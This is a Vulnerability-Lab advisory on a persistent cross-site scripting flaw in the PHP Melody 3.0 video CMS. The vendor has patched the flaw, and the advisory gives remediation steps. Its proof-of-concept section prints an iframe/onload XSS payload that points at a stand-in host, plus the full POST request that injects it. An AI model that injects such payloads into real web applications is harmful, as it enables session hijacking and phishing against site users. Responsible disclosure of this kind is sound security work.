PHP Melody 3.0 Cross Site Scripting

PHP Melody version 3.0 suffers from a persistent cross site scripting vulnerability in the submitted parameter.


MD5 | 0ff8bfb4580b624fda540910a8a24aaa

Document Title:
===============
PHP Melody v3.0 - (submitted) Persistent XSS Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2292

Bulletin: https://www.phpsugar.com/blog/2021/09/php-melody-3-0-vulnerability-report-fix/


Release Date:
=============
2021-10-21


Vulnerability Laboratory ID (VL-ID):
====================================
2292


Common Vulnerability Scoring System:
====================================
5.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Upload, import, stream or embed any media. The smart way to manage audio & video. Comes with all the tools you need for online publishing.
Beautiful content for your site. Allow users to create their channels, subscribe and follow the content they like. Podcast, mini-series,
TV shows or movies. Everything is easier to publish with our CMS. Invest in a Secure Foundation. Build with a proven CMS.

(Copy of the Homepage: https://www.phpsugar.com/phpmelody.html )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site web vulnerability in the PHP Melody v3.0 video cms web-application.


Affected Product(s):
====================
PHPSUGAR
Product: PHP Melody v3.0 - Video CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-04: Vendor Response/Feedback (Security Department)
2021-09-22: Vendor Fix/Patch (Service Developer Team)
2021-09-22: Security Acknowledgements (Security Department)
2021-10-20: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Responsible Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in PHP Melody v3.0 video cms web-application.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to
compromise browser to web-application requests from the application-side.

The persistent input validation web vulnerability is located in the `submitted` parameter of the `edit-video.php`.
Remote attackers with privileged user accounts like editors or moderators are able to inject own malicious script
code as author that submits. The request method to inject is post and the execution occurs with persistent attack
vector in the `watch.php` frontend file.

Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent
external redirects to malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Edit Video

Vulnerable File(s):
[+] edit-video.php

Vulnerable Parameter(s):
[+] submitted

Affected File(s):
[+] watch.php


Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by remote attackers with privileged editor user account and with low user interaction.
For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue.


PoC: Example Exploitation
[Username]"><[PAYLOAD]">

PoC: Payload
admin"><iframe src="evil.source" onload="alert(document.domain)">


--- PoC Session Logs (POST) [edit-video.php - submitted] ---
https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b
Host: phpmelody.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------3331529921260143328403993122
Content-Length: 6517
Origin: https://phpmelody.localhost:8080
Connection: keep-alive
Referer: https://phpmelody.localhost:8080/admin/edit-video.php?vid=22389808b
Cookie: PHPSESSID=2ae8ef3142c4517892e6333cee49612a;melody_d900e07810ba03257e53baf46a9ada6f=admin;
melody_key_p900e07810ba03257e53baf46a9ada3c=cc33e6eb60d2c1e31a5612bd8c193c22;
sidebar-main-state=maxi; watched_video_list=MTI0LDE%3D; pm_elastic_player=normal
post:
submit=Save&video_title=Hi- Test&video_slug=martin-garrix-high-on-life-ft-bonn&file=,,&description=<p>test2</p>&tags=high,high on life,martin,garrix&yt_min=3&yt_sec=48&yt_length=228&allow_comments=1&allow_embedding=1&restricted=0&site_views=6&site_views_input=6&date_month=9&date_day=03
&date_year=2021&date_hour=07&date_min=00&date_ampm=am&date_sec=09&submitted=admin"><iframe src=evil.source onload=alert(document.domain)>
&direct=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&direct-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g
&url_flv=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&url_flv-original=https://www.videosourcesite.com/watch?v=Vbv4hD2jG2g&embed_code=
&meta_key=&meta_value=&meta_item_id=1&meta_item_type=1&yt_thumb=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg
&yt_thumb_old=//i.test.com/vi/Vbv4hD2jG2g/mqdefault.jpg&add_category_name=&add_category_slug=&add_category_parent_id=-1
&categories_old=1,19,1,19&category[]=1,19&language=,1&uniq_id=22389808b&source_id=0&added_old=1630652409&upload-type=&p=upload&do=upload-image&video_type=1
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=utf-8
x-powered-by: PHP/5.4.34


Vulnerable Source: watch.php
<div id="content-main" class="container-fluid">
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-8 pm-video-watch-main" itemprop="video" itemscope="" itemtype="http://schema.org/VideoObject">
<div class="row pm-user-header">
<div class="col-xs-3 col-sm-1 col-md-1">
<a href=""><img src="" class="pm-round-avatar" alt="" width="40" height="40" border="0"></a>
</div>
<div class="col-xs-9 col-sm-8 col-md-8">
<div class="pm-video-posting-info">
<div class="author"><a href="">admin"><iframe src="evil.source" onload="alert(document.domain)">[MALICIOUS SCRIPT CODE EXECUTION!]</a> </div>
<div class="publish-date">Published <time datetime="2021-09-03T07:00:09+0000" title="Friday, September 3, 2021 7:00 AM">Sep 3, 2021</time></div>
</div></div>
<div class="col-xs-2 col-sm-3 col-md-3">
<div class="pull-right">
<button id="btn_follow_" class="btn btn-sm btn-success btn-follow" data-user-id="">Subscribe</button>
</div></div></div>


Reference(s):
https://phpmelody.localhost:8080/admin/
https://phpmelody.localhost:8080/watch.php
https://phpmelody.localhost:8080/admin/edit-video.php


Solution - Fix & Patch:
=======================
The vulnerability can be resolved by the following steps ...
1. Encode, escape or filter the vulnerable submitted parameter in the post method request
2. Restrict all the transmitted parameter by disallowing the usage of special chars
3. Sanitize the watch.php output location to prevent the execution point
4. Alternativ setup security headers and a web firewall or filter to prevent further exploitation


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact ([email protected] or [email protected]) to get a ask permission.

Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™



--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
LUDWIG-ERHARD STRAßE 4
34131 KASSEL - HESSEN
DEUTSCHLAND (DE)


Related Posts